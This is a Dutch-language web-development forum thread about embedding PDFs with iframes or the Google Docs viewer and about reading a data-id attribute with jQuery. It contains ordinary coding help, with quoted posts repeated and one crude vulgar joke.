Ik heb met een iFrame geprobeerd en inmiddels getest in Internet Explorer 6, 7 en 8, Firefox, Chrome en Safari en in alle browsers nagelijk hetzelfde resultaat. Denk dat ik het maar gewoon bij een iframe houd.
Ik weet niks van Hindoes. Wel van Samoerai en andere dingen.
Jammerquote:
[..]
PDF.JS te lomp, gViewer zegt dat hij mijn document niet kan vinden. Zelfde error op de voorbeeldpagina, dus waarschijnlijk is de API veranderd? En PDFObject is kut, daar kun je opties aan meegeven die vervolgens helemaal niet werken.
Ik heb met een iFrame geprobeerd en inmiddels getest in Internet Explorer 6, 7 en 8, Firefox, Chrome en Safari en in alle browsers nagelijk hetzelfde resultaat. Denk dat ik het maar gewoon bij een iframe houd.
Op maandag 29 september 2008 11:45 schreef HostiMeister het volgende:
Dat is zeg maar de Nederlandse taal op een vuige keukentafel voorover buigen en hem dan zonder glijmiddel anaal verkrachten. :'(
Dat is zeg maar de Nederlandse taal op een vuige keukentafel voorover buigen en hem dan zonder glijmiddel anaal verkrachten. :'(
Heb met de Google API ook resultaat. Die werkt mooi.
Ik weet niks van Hindoes. Wel van Samoerai en andere dingen.
Iframe is helemaal niet zo gek. Gewoon door de pdf-reader van de gebruiker af laten handelen.
Misschien (als je dat kunt detecteren) zou je zo'n JS-library als fallback kunnen gebruiken voor als de user geen in-browser PDF-reader heeft.
Misschien (als je dat kunt detecteren) zou je zo'n JS-library als fallback kunnen gebruiken voor als de user geen in-browser PDF-reader heeft.
Help
Ik heb de volgende HTML code
Nu wil ik achter het data-id komen bij een klik, maar ik heb van alles geprobeerd maar het lukt niet ik krijg undefined met de volgende code
[ Bericht 6% gewijzigd door wobbel op 08-12-2012 11:42:48 ]
Ik heb de volgende HTML code
| 1 2 3 4 5 6 7 8 | <div class="note grey" style="left:343px;top:284px;z-index:43" data-id="32"> Test test Test test Test test Test test <div class="author">Henk de Tank</div> </div> <div class="note red" style="left:629px;top:0px;z-index:45" data-id="31"> Doet ie het? <div class="author">Einzzzstein</div> </div> |
Nu wil ik achter het data-id komen bij een klik, maar ik heb van alles geprobeerd maar het lukt niet
ik krijg undefined met de volgende code| 1 2 3 | $("div.note").dblclick(function(event) { alert($(event).data("id")); }) |
[ Bericht 6% gewijzigd door wobbel op 08-12-2012 11:42:48 ]
Je kan $(event).dataset.id proberen, maar dat werkt geloof ik nog niet in alle browsers. Anders is $(event).attr("data-id") altijd wel een veilige optie.;.
edit:
Kan het nu even niet testen, maar volgens mij is event nog niet het DOM element, dus heb je waarschijnlijk $(event.currentTarget) nodig. Zal straks ff checken.
[ Bericht 36% gewijzigd door picodealion op 08-12-2012 11:51:21 ]
edit:
Kan het nu even niet testen, maar volgens mij is event nog niet het DOM element, dus heb je waarschijnlijk $(event.currentTarget) nodig. Zal straks ff checken.
[ Bericht 36% gewijzigd door picodealion op 08-12-2012 11:51:21 ]
Het was veel gemakkelijker. .data() doet precies wat jij wil dus mijn oplossing was overbodig. Je moet het alleen niet doen op $(event) maar gewoon op $(this).
this.dataset.id geeft overigens hetzelfde, heb je jQuery dus niet voor nodig, maar in IE8 en lager doet dat niks.
this.dataset.id geeft overigens hetzelfde, heb je jQuery dus niet voor nodig, maar in IE8 en lager doet dat niks.
Nu ook een iFrame maar wel met de API van Google. Die doet het ook in Firefox, waar Firefox zonder plugins normaal vraagt of je de PDF wil openen of downloaden, in plaats van tonen op de pagina. Alle Internet Explorers ondersteunen de Google Docs API en Firefox, Chrome en Safari werken ook prima dus ik vind het mooi zo.quote:
Iframe is helemaal niet zo gek. Gewoon door de pdf-reader van de gebruiker af laten handelen.
Misschien (als je dat kunt detecteren) zou je zo'n JS-library als fallback kunnen gebruiken voor als de user geen in-browser PDF-reader heeft.
Ik weet niks van Hindoes. Wel van Samoerai en andere dingen.
$(this) werkt sowieso wel mooi voor dit soort dingen.quote:
Het was veel gemakkelijker. .data() doet precies wat jij wil dus mijn oplossing was overbodig. Je moet het alleen niet doen op $(event) maar gewoon op $(this).
this.dataset.id geeft overigens hetzelfde, heb je jQuery dus niet voor nodig, maar in IE8 en lager doet dat niks.
Ik weet niks van Hindoes. Wel van Samoerai en andere dingen.
Thanksquote:
Het was veel gemakkelijker. .data() doet precies wat jij wil dus mijn oplossing was overbodig. Je moet het alleen niet doen op $(event) maar gewoon op $(this).
this.dataset.id geeft overigens hetzelfde, heb je jQuery dus niet voor nodig, maar in IE8 en lager doet dat niks.
en ook nog bedankt voor de uitleg.
